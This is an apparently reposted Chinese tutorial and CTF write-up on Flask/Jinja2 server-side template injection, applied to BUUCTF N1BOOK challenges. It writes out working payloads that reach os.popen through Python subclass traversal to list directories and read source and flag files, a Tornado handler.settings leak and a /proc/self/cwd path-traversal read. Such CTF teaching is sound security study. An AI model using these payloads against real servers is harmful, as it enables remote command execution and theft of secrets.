服务器模板注入 (SSTI)

2024-01-01 06:08
文章标签 模板 服务器 注入 ssti

本文主要是介绍服务器模板注入 (SSTI),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

服务器模板注入 (SSTI)

基本注入流程

''.__class__		显示这个东西的类
''.__class__.base__		找到这个的基类
''.__class__.__base__.__subclasses__()		看基类的子类

敏感子类
popen、sys、os

因为''.__class__.__base__.__subclasses__()返回的是一个列表,
所以直接''.__class__.__base__.__subclasses__()[425]查看的就是popen这个

注意:这里的425要根据''.__class__.__base__.__subclasses__()实际返回的数组,观察Popen的位置来决定

到了这里就可以使用某些子类来进行操作了,下面使用[177]这个子类<class 'warnings.catch_warnings'>进行操作

比如说查看目录

''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("ls").read()')

进一步查看目录下的文件,这里查看的是test目录下的文件

''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("ls /test").read()')

然后读取需要的文件,这里是读取test目录下的flag.py文件

''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("cat /test/flag.py").read()')

绕过限制

参考:https://www.cnblogs.com/zaqzzz/p/10263396.html

通过模板注入获取tornado中的cookie

利用handler.settings对象
因此构造{{handler.settings}}

handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!
原文链接:https://blog.csdn.net/zz_Caleb/article/details/101473013/

参考来自:https://www.e-learn.cn/topic/3340461



题目

SSTI

这是一道来源于BUUCTF的N1BOOK的题目,[第三章 web进阶]SSTI

?password={{7*7}}

观察回显发现是flask模板注入

?password={{''.__class__.__base__.__subclasses__()}}

看看有什么子类可以利用

?password={{''.__class__.base__.__subclasses__()}}

发现[177]这个子类是<class 'warnings.catch_warnings'>

利用它查看目录

''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("ls").read()')

进一步查看app目录下的文件

''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("ls /app").read()')

然后读取server.py文件

''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("cat /app/server.py").read()')

题目有多种解法
参考来自:
https://blog.csdn.net/CyhDl666/article/details/115004845
https://blog.csdn.net/qq_51558360/article/details/114493766

afr_3

这是一道来源于BUUCTF的N1BOOK的题目,[第一章 web入门]afr_3

开头是文件包含,经过一系列操作,
根据../../../../../proc/self/cmdline得出的信息可以知道,当前正在运行 pythonserver.py

在这里时需要想到,应该利用python的flask进行模板ssti注入,从而读取flag

根据/proc/的特性,可以读取正在运行的pythonserver.py的源码
?name=../../../../../proc/self/cwd/server.py

原理是使用proc指定self代表当前进程,然后cwd指向运行的文件pythonserver.py

得到的信息里面有flag.py,但是直接访问显示权限不够
访问另一个的文件key.py得到

#!/usr/bin/python 
key = 'Drmhze6EPcv0fN_81Bj-nA'

后面待续

参考来自:
https://www.cnblogs.com/murkuo/p/14905749.html

这篇关于服务器模板注入 (SSTI)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/558353

相关文章

利用Python打造一个Excel记账模板

《利用Python打造一个Excel记账模板》这篇文章主要为大家详细介绍了如何使用Python打造一个超实用的Excel记账模板,可以帮助大家高效管理财务,迈向财富自由之路,感兴趣的小伙伴快跟随小编一... 目录设置预算百分比超支标红预警记账模板功能介绍基础记账预算管理可视化分析摸鱼时间理财法碎片时间利用财

如何在 Spring Boot 中实现 FreeMarker 模板

《如何在SpringBoot中实现FreeMarker模板》FreeMarker是一种功能强大、轻量级的模板引擎,用于在Java应用中生成动态文本输出(如HTML、XML、邮件内容等),本文... 目录什么是 FreeMarker 模板?在 Spring Boot 中实现 FreeMarker 模板1. 环

Go语言开发实现查询IP信息的MCP服务器

《Go语言开发实现查询IP信息的MCP服务器》随着MCP的快速普及和广泛应用,MCP服务器也层出不穷,本文将详细介绍如何在Go语言中使用go-mcp库来开发一个查询IP信息的MCP... 目录前言mcp-ip-geo 服务器目录结构说明查询 IP 信息功能实现工具实现工具管理查询单个 IP 信息工具的实现服

springboot上传zip包并解压至服务器nginx目录方式

《springboot上传zip包并解压至服务器nginx目录方式》:本文主要介绍springboot上传zip包并解压至服务器nginx目录方式,具有很好的参考价值,希望对大家有所帮助,如有错误... 目录springboot上传zip包并解压至服务器nginx目录1.首先需要引入zip相关jar包2.然

将Java项目提交到云服务器的流程步骤

《将Java项目提交到云服务器的流程步骤》所谓将项目提交到云服务器即将你的项目打成一个jar包然后提交到云服务器即可,因此我们需要准备服务器环境为:Linux+JDK+MariDB(MySQL)+Gi... 目录1. 安装 jdk1.1 查看 jdk 版本1.2 下载 jdk2. 安装 mariadb(my

IDEA自动生成注释模板的配置教程

《IDEA自动生成注释模板的配置教程》本文介绍了如何在IntelliJIDEA中配置类和方法的注释模板,包括自动生成项目名称、包名、日期和时间等内容,以及如何定制参数和返回值的注释格式,需要的朋友可以... 目录项目场景配置方法类注释模板定义类开头的注释步骤类注释效果方法注释模板定义方法开头的注释步骤方法注

基于Python打造一个可视化FTP服务器

《基于Python打造一个可视化FTP服务器》在日常办公和团队协作中,文件共享是一个不可或缺的需求,所以本文将使用Python+Tkinter+pyftpdlib开发一款可视化FTP服务器,有需要的小... 目录1. 概述2. 功能介绍3. 如何使用4. 代码解析5. 运行效果6.相关源码7. 总结与展望1

使用Python开发一个简单的本地图片服务器

《使用Python开发一个简单的本地图片服务器》本文介绍了如何结合wxPython构建的图形用户界面GUI和Python内建的Web服务器功能,在本地网络中搭建一个私人的,即开即用的网页相册,文中的示... 目录项目目标核心技术栈代码深度解析完整代码工作流程主要功能与优势潜在改进与思考运行结果总结你是否曾经

使用Python实现快速搭建本地HTTP服务器

《使用Python实现快速搭建本地HTTP服务器》:本文主要介绍如何使用Python快速搭建本地HTTP服务器,轻松实现一键HTTP文件共享,同时结合二维码技术,让访问更简单,感兴趣的小伙伴可以了... 目录1. 概述2. 快速搭建 HTTP 文件共享服务2.1 核心思路2.2 代码实现2.3 代码解读3.

CentOS 7部署主域名服务器 DNS的方法

《CentOS7部署主域名服务器DNS的方法》文章详细介绍了在CentOS7上部署主域名服务器DNS的步骤,包括安装BIND服务、配置DNS服务、添加域名区域、创建区域文件、配置反向解析、检查配置... 目录1. 安装 BIND 服务和工具2.  配置 BIND 服务3 . 添加你的域名区域配置4.创建区域